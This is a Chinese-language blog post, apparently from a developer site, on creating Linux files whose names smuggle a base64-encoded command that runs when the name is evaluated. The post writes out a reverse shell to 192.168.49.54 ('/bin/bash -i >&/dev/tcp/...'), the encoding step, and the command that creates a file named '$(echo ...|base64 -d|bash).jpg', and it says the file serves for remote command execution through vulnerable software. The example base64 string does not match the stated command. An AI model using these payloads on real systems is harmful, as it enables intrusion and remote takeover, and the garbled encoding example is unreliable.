Linux下生成包含bash命令的文件名的文件

关于如何绕过Linux限制的其他方式请查看:

https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions

我只是为了生成/创建包含bash命令的文件名而不是详细介绍Linux系统的文件命名规范,所以只需要考虑Linux系统文件命名的部分要求,文件名中的限制字符是我需要关注的,具体可以查看"限制字符"的链接。

1.可以使用大写和小写字母、数字、"."(点)和"_"(下划线)符号。

2.允许使用 \ 符号引用或转义空格、<、>、|、\、:、(、)、&、; 以及通配符(如 ? 和 *) 。

bash 复制代码
echo $\(echo `echo '/bin/bash -i >&/dev/tcp/192.168.49.54/80 0>&1'|base64`\|base64 -d\|bash\) 

这个命令中单引号中的/bin/bash -i >&/dev/tcp/192.168.49.54/80 0>&1是反弹shell的命令,也可以换成别的命令,这里的命令将会在之后被执行。

这条命令的输出类似这样:

bash 复制代码
$(echo LJpbi9iYXNoI1pID4m2Rldi90Y3AvMLjE2OC40S41NC84MCwPiYCg==|base64 -d|bash)

输出的命令进行这样的操作:输出一段base64的字符串,然后用base64工具解码,然后再把结果交给bash命令执行。这样做的好处是避免原来命令中包含特殊字符层层转义或者导致执行失败。

我现在要生成以这个输出作为文件名的文件,用echo ''> 文件名

bash 复制代码
echo '' > '$(echo LJpbi9iYXNoI1pID4m2Rldi90Y3AvMLjE2OC40S41NC84MCwPiYCg==|base64 -d|bash).jpg'

请注意,你完全可以不加文件名后缀.jpg,这在Linux中无关紧要。

下面这个图片里你能看到最终生成的文件名。

为什么要生成/创建这样的文件?

此文件将在某些Linux软件的漏洞中会被用来进行远程命令执行,这样的手段用来绕过Linux对文件名的限制。

相关推荐
不吃土豆的马铃薯1 分钟前
高性能服务器程序框架详解(包括Reactor,有限状态机等)
linux·服务器·开发语言·网络·c++
bucenggaibian3 分钟前
搭建CMD编译C语言环境
linux·c语言·windows
程序猿乐锅3 分钟前
Linux常用命令详解:目录、文件、压缩、编辑与查找
linux·运维·服务器
Shadow(⊙o⊙)3 分钟前
库的制作与原理1.0,库打包,协作,目标文件.o、ELF格式。
linux·运维·服务器·开发语言
文青小兵11 分钟前
Linux云计算——docker 网络和部分挂载(二)
linux·docker·云计算
AOwhisky13 分钟前
Ceph系列第五期:Ceph 对象存储(RADOS Gateway)精讲
linux·运维·笔记·ceph·gateway·对象存储
xhaxy18 分钟前
pgsql集群搭建(Patroni + etcd )
linux·postgresql·etcd
愿天垂怜23 分钟前
【C++脚手架】etcd 的介绍与使用
java·linux·服务器·c语言·c++·中间件·etcd
kvnew27 分钟前
Ubuntu 26.04 一键安装/修复拼音输入法fcitx5+Rime
linux·运维·ubuntu
小则又沐风a28 分钟前
进程篇: 进程概念的补充(了解环境变量和虚拟地址空间)
linux·运维·服务器·c++